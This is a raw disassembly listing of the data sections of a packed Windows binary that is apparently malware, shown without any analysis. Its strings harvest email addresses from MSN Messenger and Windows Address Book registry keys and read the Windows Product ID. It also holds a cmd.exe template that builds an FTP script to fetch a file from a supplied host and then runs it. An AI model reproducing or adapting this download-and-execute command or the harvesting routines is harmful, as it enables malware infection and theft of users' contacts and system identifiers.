aInstallpath	db 'InstallPath',0
		dd 0
dword_448A2C	dd 3A6E736Dh, 732520h, 0dword_448A38	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B64:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B6F:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B7B:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B87:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448B98:				; CODE XREF: ___:00448B9Dj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448B98
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404600+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4AFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D415w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D450o ...
dword_449068	dd 0							; ___:loc_40D4A4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D41Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D650+CAw
dword_449074	dd 0							; sub_40D650+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_40FE30+47Dr
dword_4490C0	dd 0							; sub_40FE30+515r ...
dword_4490C4	dd 0							; sub_40FE30+655r ...
dword_4490C8	dd 0							; sub_40FE30+B79r ...
dword_4490CC	dd 0							; sub_40FE30+74Br
dword_4490D0	dd 0							; sub_40FE30+828r
dword_4490D4	dd 0							; sub_40FE30+77Cr
dword_4490D8	dd 0							; sub_40FE30+4DDr ...
dword_4490DC	dd 0							; sub_40FE30+311r
dword_4490E0	dd 0							; sub_40FE30+34Dr ...
dword_4490E4	dd 0							; sub_40FE30+33Dr
dword_4490E8	dd 0							; sub_40FE30+3D2r
dword_4490EC	dd 0							; sub_40FE30+E93r
dword_4490F0	dd 0							; sub_40FE30+1220r ...
dword_4490F4	dd 0							; sub_411C00+4DAr
dword_4490F8	dd 0							; sub_40FE30+683r
dword_4490FC	dd 0							; sub_40FE30+6B5r
dword_449100	dd 0							; sub_40FE30+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:0040401Fo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B00r sub_409B70r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D650+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBE0r
word_449162	dw 0			; DATA XREF: sub_40DBE0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F8Ao
					; ___:0041303Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_40FE30+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408B9Bo
					; sub_40FE30+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B72o
					; sub_40FE30+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_40FE30+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BC4o
					; sub_40FE30+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_40FE30+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408AFDo
					; sub_40FE30+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BEDo
					; sub_40FE30+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F5Ao
					; ___:00412F79o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_40FE30+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE30+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404C30+258r
					; sub_41D830+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404C30:loc_404EA0r
					; sub_41D830:loc_41DEB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404C30+279o
					; sub_41D830+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404600+1BDo
					; sub_404AD0+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404AD0+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404C30+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
		dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EF4o
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44530Co
		dd 0ECEh dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404BE0+1Eo
					; sub_404C30+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404C30+292w
					; sub_404C30+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404BE0+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FB4o
					; ___:00412FD7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:00408289o
					; ___:0040871Ao ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427980:loc_427A30r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404C30+299w
					; sub_40FE30:loc_40FE72r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404C30+235o
					; sub_404C30+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404C30+2D4o
					; ___:0040872Eo ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418450+21o
					; sub_41D830+341o ...
		dd 6D2Eh dup(0)
dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FB3Dw ...
dword_50DB0C	dd 0							; sub_41FA90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FB5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FB67w ...
dword_50DB20	dd 0							; ___:0041FB6Dw ...
dword_50DB24	dd 0							; ___:00420DA9o
dword_50DB28	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50DB2C	dd 0							; ___:0041FB81w
dword_50DB30	dd 0							; sub_420530+41w ...
dword_50DB34	dd 0							; sub_420530+7Fr
dword_50DB38	dd 0							; sub_420530+92r ...
dword_50DB3C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427980+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427980+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427980+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 366h	dup(0)						; sub_4309A0:loc_430AB7o ...
dword_511718	dd 0				align 10h
dword_511720	dd 0				dd 2 dup(0)
dword_51172C	dd 0				dd 4 dup(0)
dword_511740	dd 0							; sub_40E860+25Ar ...
dword_511744	dd 0		dword_511748	dd 0				dd 2 dup(0)
dword_511754	dd 0							; sub_40EE30+15Er ...
		dd 0
dword_51175C	dd 0							; sub_40E860+22Cr
		dd 0
dword_511764	dd 0							; sub_4207E0+285r ...
		dd 0
dword_51176C	dd 0							; sub_40E860+24Cr
		dd 1Ch dup(0)
dword_5117E0	dd 0							; sub_420530+FEr
		dd 20h dup(0)
dword_511864	dd 0		dword_511868	dd 0		dword_51186C	dd 0				dd 3 dup(0)
		dd 0
		dd 0Bh dup(0)
dword_5118AC	dd 0							; sub_40FE30+47r ...
		dd 7 dup(0)
dword_5118CC	dd 0				dd 2 dup(0)
dword_5118D8	dd 0							; sub_41B580+2Fr ...
		align 10h
dword_5118E0	dd 0							; sub_4203D0+2Er ...
		align 10h
dword_5118F0	dd 0				dd 8 dup(0)
		dd 0
dword_511918	dd 0							; sub_420530:loc_42057Cr ...
		dd 31h dup(0)
dword_5119E0	dd 0				dd 22h dup(0)
dword_511A6C	dd 0							; sub_42E5B0+53r ...
dword_511A70	dd 0				dd 2 dup(0)
dword_511A7C	dd 0				dd 3 dup(0)
dword_511A8C	dd 0		dword_511A90	dd 0							; sub_42DE00+4Ar ...
		dd 2 dup(0)
dword_511A9C	dd 0		dword_511AA0	dd 0		dword_511AA4	dd 0		dword_511AA8	dd 0		dword_511AAC	dd 0		dword_511AB0	dd 0				align 8
dword_511AB8	dd 0							; ___:0041C3DAr
		dd 3 dup(0)
dword_511AC8	dd 0							; sub_41BA50+17Er ...
		align 10h
dword_511AD0	dd 0							; sub_42F2C0+34r ...
		align 8
dword_511AD8	dd 0				align 10h
dword_511AE0	dd 0							; sub_42DE00+90r
dword_511AE4	dd 0							; sub_426070+C8r ...
		dd 0
dword_511AEC	dd 0				dd 4 dup(0)
dword_511B00	dd 0							; sub_41BD90+5Dr
dword_511B04	dd 0							; sub_40FE30+1126r ...
dword_511B08	dd 0							; ___:00419CDAr
		dd 2 dup(0)
dword_511B14	dd 0							; sub_422B40+203r ...
		dd 0
dword_511B1C	dd 0				dd 3 dup(0)
		dd 0
		dd 34h dup(0)
dword_511C00	dd 0							; sub_41A050+2Dr ...
		dd 0Dh dup(0)
dword_511C38	dd 0							; sub_425100:loc_4251B2r ...
dword_511C3C	dd 0							; sub_42B8E0:loc_42B99Br
		dd 4 dup(0)
dword_511C50	dd 0				dd 2 dup(0)
dword_511C5C	dd 0				dd 0
dword_511C64	dd 0		dword_511C68	dd 0							; sub_42B8E0+F9r
		dd 7 dup(0)
dword_511C88	dd 0				dd 2 dup(0)
dword_511C94	dd 0							; sub_41A7D0+48r ...
dword_511C98	dd 0		dword_511C9C	dd 0							; sub_41F860+198r ...
dword_511CA0	dd 0							; ___:004216E1r ...
dword_511CA4	dd 0							; sub_4253C0+8Br ...
		dd 0
dword_511CAC	dd 0							; sub_42C830+E8r
		dd 4D4h	dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 400h	dup(0)
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 000FF000 (1044480.)
; Section size in file		: 000FF000 (1044480.)
; Offset to raw	data for section: 00115000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 515000h
		dd 5 dup(0)
		public start
start		dd 0BD4Ch dup(0)
		db 3 dup(0)
byte_544547	db 0			; DATA XREF: ___:off_44720Co
		dd 0B512h dup(0)
		db 3 dup(0)
		db 0
		dd 4263h dup(0)
		db 3 dup(0)
byte_582323	db 0			; DATA XREF: ___:off_444868o
		dd 0F74Eh dup(0)
dword_5C005C	dd 0C9FFh dup(0)		db 3 dup(0)
byte_5F285B	db 0			; CODE XREF: sub_406850+12Bp
					; sub_409C90+1Dp ...
		dd 8131h dup(0)
dword_612D20	dd 4B8h	dup(0)	Themida_	ends

; Section 5. (virtual address 00214000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00214000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 614000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start